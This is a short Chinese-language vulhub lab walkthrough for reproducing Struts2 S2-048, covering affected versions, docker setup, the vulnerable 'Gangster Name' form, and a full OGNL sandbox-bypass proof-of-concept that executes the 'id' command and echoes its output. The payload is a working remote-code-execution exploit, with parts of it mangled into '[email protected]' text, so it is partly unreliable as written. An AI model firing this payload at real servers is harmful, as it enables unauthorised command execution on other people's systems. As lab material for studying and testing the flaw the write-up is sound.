影響版本
2.0.0 - 2.3.32
漏洞搭建
cd vulhub/struts2/s2-048
docker-compose up -d
環境啓動後,訪問http://your-ip:8080/showcase/即可查看到struts2的測試頁面。
漏洞復現
訪問Integration->Struts 1 Integration:
觸發OGNL表達式的位置是Gangster Name這個表單。
輸入${233*233}即可查看執行結果(剩下兩個表單隨意填寫)
發現執行了,成功計算出結果
借用S2-045的沙盒繞過方法,我改了一個POC。將如下POC填入表單Gengster Name中,提交即可直接回顯命令執行的結果:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}